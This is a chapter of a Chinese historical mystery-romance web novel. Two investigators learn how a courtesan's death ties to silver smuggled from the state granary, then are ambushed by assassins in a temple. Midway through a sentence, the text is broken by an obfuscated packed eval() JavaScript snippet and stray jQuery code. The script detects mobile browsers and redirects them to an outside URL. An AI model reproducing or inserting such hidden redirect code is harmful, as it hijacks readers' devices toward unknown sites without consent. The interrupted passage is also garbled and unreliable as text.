16. 第 16 章

作品:《夺春娇

    唐生将二人带进堂间,云娘沏茶后,便避了出去。


    “二位有什么话不妨直说吧,凡是小生知晓的,定然告知。”


    周景翊直接问:“你也知柳芙蓉的死有蹊跷对不对?”


    “我只是猜测。”唐生叹道,“她死前半个月曾偷偷给我来过一封信,说自己惹了麻烦,怕是不日便要死了,未免累及我,让我暂时不要去寻她。结果没多久,我便听说她染了风寒过世……天下哪有这样巧的事,又哪有人能提前预知自己的死期……”


    “我当时便知,她怕是叫人给害了……”


    叶徽月问:“你可知她得罪的是什么人?”


    唐生没有直接回答她的话,只道:“她的死八成是与她给我的那些银子有关。”


    “大概去岁年初吧……那日是花朝,清河街的姑娘难得都出了花楼在河边拜花神,我早早便等在河畔,与她匆匆见了一面,她十分高兴的塞给我一个包裹,说是有一位恩客十分大方,回回酒醉都会给她几锭银子,她很高兴,觉得要不了多久便能攒够与我置宅的银两,也能给自己赎身了……


    我当时颠了颠那包裹的分量,沉甸甸的,便多问了几句,她便叫我放心,说那位恩客是个撞了大运的苦力人,所以才这般大方……


    什么祖宗保佑,家里挖出银子……这些鬼话都是用来骗蠢人的,我才不信……我料定那人定是发现了什么生财的旁门左道,这才发了横财,那之后没多久,我便向学里告了假,专门守在了春香院门口,想看看那人到底如何发的财……


    没两日果然蹲到了那个所谓的‘祖坟冒了青烟’的苦力,此人白日在太仓做活,晚上便回家,我接连跟了他十几日,皆是如此……我开始怀疑自己想错了,大概这世上真有幸运之人……


    直到那日,我在太仓门口睡着,醒来时已是深夜……


    另有一帮匠人正从太仓府衙往外抬运废木料,那木料像是极沉,二十多个人抬都有些吃力,下台阶时木料的一端不小心杵在了台阶上,从中裂了一条缝,从那缝中竟然掉了几锭银子出来……我跟着他们去了城东的一处庵堂,待那一行匠人离开后,翻墙进去瞧了一眼,那些梁木都被泼了火油,没被烧的那部分都是空心的……”


    唐生张了张嘴,终是压下了那些惊愕之言,只垂眸道,“我想晚娘之死大概便是跟此事有关了……”


    从唐生家出来已是夕阳晚照,两人沿着青石小巷向外走,皆沉默不言。


    快要拐出巷口时,身后传来脚步声。


    “二位公子留步!”


    叶徽月回身,便见云娘小跑着追了上来。


    “云姑娘。”


    云娘有些不好意思的挽了挽额发:“我已嫁给夫君,公子叫我云娘便好。”她下意识抬手摸了摸小腹。


    叶徽月这才看到她轻微隆起的腹部,竟是有了身孕。


    她问:“不知云娘叫住我二人是有什么事吗?”


    云娘从袖中掏出一个绣着鸳鸯戏水的青绿荷包递给叶徽月。


    “这是柳芙蓉生前托人送来的东西,那日夫君恰好不在,我便……替他收下了,我想,这个或许对二位公子有些用处。”


    叶徽月接过荷包:“多谢云娘。”她顿了顿又问,“不知云娘是如何与唐公子相识的?”


    云娘绞着手绢:“我娘去世后,家中哥哥想把我卖给花楼换些银钱,幸好路上遇见夫君,他将我买下,我这才得以过活。”


    叶徽月无言。


    周景翊再次嘱咐:“你们今日天黑前必须离开这里。”


    云娘点头:“夫君已经在收拾东西,我们今夜便会去到公子所说的地方。”


    周景翊点头。


    云娘走后,叶徽月打开荷包,里面是张皱皱巴巴却又叠成同心方胜的竹纸,方一抖开,便觉惊心,巴掌大小的信笺上密密麻麻全是斑驳泪渍,这信莫不是蘸着泪写的?


    玉郎玉郎


    你我幼时相识


    年少倾心


    只恨天地不公


    竟叫有情人行路至此


    愿君莫忘妾身


    来世生同衾死同穴


    残烛泣泪书以永诀


    晚娘


    见她皱眉,周景翊不由上前:“怎了?信上说什么了?”


    叶徽月有些不耐将信丢给他:“你自己看吧。”语气压着暗火。


    周景翊一脸莫名的接了信,快速扫看两眼,不明所以。


    荷包里还有其他东西,沉甸甸的,料想大概是玉佩之类的定情信物,待倒出来一看,两人齐齐变了脸色。


    周景翊当即扣住那东西,与荷包一道收进怀中,左右看两眼:“咱们先进城。”


    叶徽月连忙点头。


    城门酉时便要关闭,再不快些怕是要赶不及。


    怎料刚出市集不远,便突然变了天色,下起雨来。


    这场雨下的铺天盖地,直砸的人喘不过气,两人只好就近先找了处荒庙避雨。


    雨实在太大了,两人的衣衫几乎全都湿透,湿哒哒的贴在身上。


    周景翊倒还好些,因着日常习武,他的外衫材质相对偏硬,看着并不明显,叶徽月衣袍材质细软,淋雨后紧紧贴在身上,少女玲珑曲线勾勒到极致,周景翊只看了一眼便匆忙移开视线,走到香案旁,径直扯下案布,递给了叶徽月。


    叶徽月接过,将自己拢紧。


    庙里有赶路人留下来的小半堆柴火,周景翊又在香案上摸了打火石,轻车熟路的将烧了一半的柴火堆在一起,很快,火光铺亮,总算暖和了些。


    一回头,便见少女坐在火堆前,盯着手中的银锭发呆。他将从庙里收拢来的枯枝残叶一并丢进火里,也在火堆前坐了下来,轻声提醒:“此物大概受过污秽,还是不要过手为好。”


    他将银锭从少女手中取下,放在了火堆旁。


    上头“永泰十年官银”几个大字在火光的映衬下浮动微光。


    叶徽月缩了缩身体,叹出一口气:“此话何意?”


    周景翊却并不回答她,反问道:“你可听过前朝的冰水藏银案?”


    叶徽月点头:“幼年时听我兄长说起过,说是前朝时期冬日里负责看守国库的循吏将库银偷放于水壶之中,至次日换班之时,壶水结冰,如此便不着痕迹的将库银偷带了出来,天长日久,竟导致国库亏空,朝官俸禄发不出来,后来外敌入侵,便被灭了国……”


    “是。”周景翊笑了笑,“你有没有觉得此番军饷被劫一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105470|179431||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    案与此案有异曲同工之妙。”


    叶徽月眼睛睁大,一时间竟有些张口结舌:“你的意思是说,有人偷偷从国库携了官银出来?这怎么可能?我朝为防旧错,凡出入国库的官吏皆不着寸缕,且出入太仓之时皆须换衣,不许携带任何器具,如何能私带?”


    “若真想偷带,自然还是有些方法的,你还记得莺啼是怎么说孙大壮的吗?”


    “很邋遢,身上很臭……”


    “还有呢?”


    “有痔漏之症。”


    “对,就是这个。”周景翊说,“这孙大壮的痔漏之症大概就是因着私带官银才生的。”


    叶徽月疑惑眨眼,有些想不通:“这怎么带?”


    “就是……”周景翊实在不知该怎么跟她解释这件事,总不能直接告诉她,这孙大壮约摸是将官银藏于谷道,然后就这么……堂而皇之带出来的吧。


    女子又不像男子,总能从各种各样的书册中得到灵光……


    而且跟一个大姑娘讲这个,他还要不要脸了?


    周景翊轻咳两声。


    “这……不重要,你只需知晓,这官银是孙大壮想了方法用自己的身体带出来的就好了……”


    叶徽月也懒得深究这个,他说是,那就是吧。


    “纵然你说的是对的,可这孙大壮并非太仓负责看管库银的官吏,如何能碰到这官银呢?”


    周景翊道:“那若这官银不在太仓府库中呢。”


    “不在?”


    “对。”


    叶徽月凝眸,看着地上的荷包,忽的想通一些关节。


    若有人将官银藏在太仓府撤换下来的那批梁木当中,孙大壮发现梁木藏银后,寻机偷带,如果是这样,似乎便可行多了。


    毕竟从撤换下来的废木中拿银子和从看管甚严的仓库中拿,前者的难度大大降低了。只要机灵些,是有极大的可能成功的。只这孙大壮得了横财,却不知收敛,终究祸从口出,这才叫人察觉灭了口。


    叶徽月喃喃:“若真是如此,威州军饷被劫一案,莫非也是在瞒天过海么。”


    外头雨声砸的噼里啪啦响,庙内却安静的有些骇人。


    周景翊并未回答她的话,只道:“此事已不是你我可以继续往下查的了。如今之际,我们得把拿到的这些线索交到可靠的人手里。”


    可谁可靠呢,周景翊一时也想不出什么合适人选。按理说,自己的弟弟周灼是一定可靠的,可北镇抚司追查了这么久都没有眉目,其中必有隐情,或者,他其实可以直接进宫一趟,把这些东西交到姑姑手里,通了天,有些事便是想遮也遮不住了。


    叶徽月想的却是,若此案真跟军饷被劫案相关,她得尽快将证据交给父亲才行,如此不光能尽快使哥哥出狱,还能保下张鸿泉一家人。


    想到这,她当即起身。


    周景翊被她突如其来的动作弄得怔楞,抬头看她,刚想问一句“怎么了”,身后,乍有破空之声逼近,他面色倏地一变,起身将叶徽月推向一旁。


    黑黢黢的箭簇挨着少女的面额擦过,斩断发丝后重重的钉进身后的神像当中。


    说时迟那时快,一行七八个黑衣人出现在雨幕中,二话不说,直接杀将上来。